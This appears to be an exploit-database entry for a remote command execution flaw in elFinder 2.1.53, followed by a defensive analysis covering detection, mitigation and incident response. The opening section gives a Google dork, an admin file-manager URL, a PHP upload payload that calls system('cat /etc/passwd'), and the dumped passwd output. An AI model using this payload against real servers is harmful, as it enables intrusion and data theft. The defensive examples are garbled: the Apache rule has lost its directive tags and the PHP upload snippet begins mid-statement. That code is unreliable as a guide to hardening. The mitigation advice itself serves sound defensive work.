elFinder Web file manager Version - 2.1.53 Remote Command Execution

Exploit Author: tmrswrr Analysis Author: www.bubbleslearn.ir Category: WebApps Language: PHP Published Date: 2024-03-06
# Exploit Title: elFinder Web file manager Version: 2.1.53 Remote Command Execution
# Date: 23/11/2023
# Exploit Author: tmrswrr
# Google Dork: intitle:"elFinder 2.1.53"
# Vendor Homepage: https://studio-42.github.io/elFinder/
# Software Link: https://github.com/Studio-42/elFinder/archive/refs/tags/2.1.53.zip
# Version: 2.1.53
# Tested on: https://www.softaculous.com/apps/cms/CSZ_CMS

1 ) Enter admin panel and go to this url > https://demos1.softaculous.com/CSZ_CMSstym1wtmnz/admin/filemanager
2 ) Click Template Main and upload this test.php file :

<?php echo system('cat /etc/passwd'); ?>

3 ) https://demos1.softaculous.com/CSZ_CMSstym1wtmnz/test.php

root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin systemd-bus-proxy:x:999:998:systemd Bus Proxy:/:/sbin/nologin systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin polkitd:x:998:997:User for polkitd:/:/sbin/nologin tss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin postfix:x:89:89::/var/spool/postfix:/sbin/nologin chrony:x:997:995::/var/lib/chrony:/sbin/nologin soft:x:1000:1000::/home/soft:/sbin/nologin saslauth:x:996:76:Saslauthd user:/run/saslauthd:/sbin/nologin mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin emps:x:995:1001::/home/emps:/bin/bash named:x:25:25:Named:/var/named:/sbin/nologin exim:x:93:93::/var/spool/exim:/sbin/nologin vmail:x:5000:5000::/var/local/vmail:/bin/bash webuzo:x:992:991::/home/webuzo:/bin/bash apache:x:991:990::/home/apache:/sbin/nologin mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/false mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/false


Overview: elFinder 2.1.53 Remote Command Execution (RCE) — High-level analysis

elFinder is a widely used web-based file manager. A remote command execution (RCE) issue reported for elFinder version 2.1.53 can allow an authenticated or improperly-restricted user to place and execute arbitrary code on the webserver. This article explains the vulnerability at a high level, outlines detection and mitigation strategies, and provides defensive code and configuration examples to help administrators reduce risk.

Why this matters

  • Impact: Successful exploitation can lead to full compromise of the web application and, depending on host configuration, the underlying system (data theft, persistence, lateral movement).
  • Attack surface: File managers that permit uploading, moving, or editing files under webroot increase risk if uploaded content can be interpreted/executed by the web server (for example, PHP files).
  • Typical root causes: insufficient input validation, uploads stored in an executable web-accessible directory, improper access controls, or missing restrictions on allowed file types.

Technical cause (conceptual)

At a conceptual level, RCE issues involving file managers arise from a few recurring mistakes:

  • Allowing arbitrary file uploads into a directory served by the webserver without adequate content-type or extension filtering.
  • Relying only on client-provided metadata (filename, MIME type) instead of server-side verification (finfo/Fileinfo, magic bytes).
  • Storing uploaded files where the webserver executes them as code (e.g., PHP) or failing to apply server-side execution prevention controls.
  • Insufficient authentication and authorization checks around administrative file management features.

Detection and indicators of compromise (IoC)

Monitor for unusual file-management activity, especially around upload and edit endpoints. Useful detection signals include:

  • Newly created files in web-accessible directories where none are expected (e.g., files with .php, .phtml, .pl, .jsp extensions).
  • Requests to file-manager endpoints immediately followed by direct HTTP requests to uploaded files.
  • Logs showing edits to templates or configuration files from unexpected accounts or IPs.
  • Unexpected outbound connections, scheduled tasks, or processes spawned by the web server user.

Example log-based checks

  • Webserver access logs: search for POST/PUT to upload endpoints + subsequent 200 responses for newly created files.
  • File integrity monitoring: detect modification or creation of executable file types under webroot.
  • Host EDR/AV: look for new processes executed by webserver user (www-data, apache, nginx, etc.).

Immediate mitigation steps

  • If possible, remove or restrict access to vulnerable elFinder instances immediately (disable the component until patched).
  • Apply the vendor-provided patch or upgrade to a fixed version as the primary remediation.
  • Harden upload handling: disallow executable file types and enforce server-side content validation.
  • Place uploaded files outside the webroot or configure the web server to never execute scripts in upload directories.
  • Rotate credentials for administrative accounts and investigate suspicious admin activity.

Recommended long-term mitigations and best practices

  • Always run the latest supported version of third-party components and subscribe to vendor security announcements.
  • Limit administrative file manager access to trusted networks and apply multi-factor authentication.
  • Use least privilege for the web server process; ensure it cannot write to application code directories.
  • Implement Content Security Policy (CSP), WAF rules, and deploy file-integrity monitoring and runtime application self-protection where appropriate.

Server configuration: disable script execution in upload directories

A strong mitigation is to configure the webserver so files in upload directories cannot be executed as code. Examples below are defensive and safe to implement.

# Apache: prevent PHP execution in the uploads directory using .htaccess or main config

    
        Require all denied
    

Explanation: This Apache configuration denies requests for commonly executable extensions inside the uploads directory, preventing the webserver from serving or executing such files. Adjust the directory path to your environment and include additional extensions as needed.

# Nginx: serve uploads as static files and deny script handling
location /uploads/ {
    root /var/www/example.com;
    autoindex off;
    # Do not pass requests in this location to PHP-FPM
    try_files $uri $uri/ =404;
}

Explanation: This Nginx configuration serves uploaded files statically and avoids forwarding requests in /uploads/ to the PHP interpreter (php-fpm). With try_files and no fastcgi_pass, dynamic execution is prevented.

Secure file-upload handling in application code (safe example)

Below is a defensive PHP snippet showing safe principles for handling uploads: server-side type checking, random non-executable filename, storing outside webroot, and restrictive permissions. This is an illustrative example — adapt it to your framework and environment.

file($upload['tmp_name']);

// Reject if not in allowlist
$allowed = false;
foreach ($allowedMimePrefixes as $prefix) {
    if (str_starts_with($mime, $prefix)) { $allowed = true; break; }
}
if (!$allowed) {
    http_response_code(415);
    exit('Unsupported file type');
}

// Generate a safe storage path outside webroot
$safeName = bin2hex(random_bytes(16)) . '.dat';
$storageDir = '/var/app_uploads/'; // outside document root
$dest = $storageDir . $safeName;

if (!move_uploaded_file($upload['tmp_name'], $dest)) {
    http_response_code(500);
    exit('Could not store file');
}
// Set restrictive permissions
chmod($dest, 0600);

// Return a non-executable reference (e.g., ID, sanitized URL proxy)
echo json_encode(['id' => $safeName]);

Explanation: This code demonstrates core defensive measures: server-side content inspection via PHP Fileinfo, rejecting disallowed MIME types, storing files outside of the web document root, using unpredictable filenames, and applying restrictive filesystem permissions to uploaded files. It avoids placing user-supplied files in locations where the server might execute them.

Incident response guidance if compromise is suspected

  • Isolate the affected host(s) from the network while preserving volatile evidence (logs, memory if feasible).
  • Collect webserver access and error logs, application logs, and file-system timestamps for the file-manager directories.
  • Search for unexpected or recently-modified files under webroot (particularly executable script extensions).
  • Conduct forensic analysis to determine initial access vector, Lateral movement, and data exfiltration.
  • Rotate secrets and certificates that may have been exposed, and plan a clean rebuild of compromised hosts where necessary.

Patch and harden: recommended actions checklist

Action Priority
Upgrade elFinder to the latest vendor-patched release Critical
Restrict/eliminate public access to admin/filemanager endpoints High
Configure server to disallow script execution in upload directories High
Implement server-side file validation and store uploads outside webroot High
Enable logging, file integrity monitoring, and WAF protections Medium
Review access controls and enforce MFA for admin accounts Medium

Responsible disclosure and coordination

If you discover a vulnerability in elFinder or any third-party component in your environment, follow a responsible disclosure process: notify the vendor or project maintainers with enough detail to reproduce safely, and coordinate on an appropriate timeline for public disclosure and patch release. For production incidents, coordinate internally between development, security, and operations teams to prioritize remediation and customer communication.

Summary

File managers like elFinder increase convenience but also increase attack surface when upload and execution semantics are not strictly controlled. For elFinder 2.1.53, administrators should treat this as a high-priority risk: apply vendor fixes, prevent script execution in upload areas, enforce strict server-side validation, and monitor for suspicious activity. Combining configuration-level hardening with secure application coding practices will significantly reduce the risk of RCE.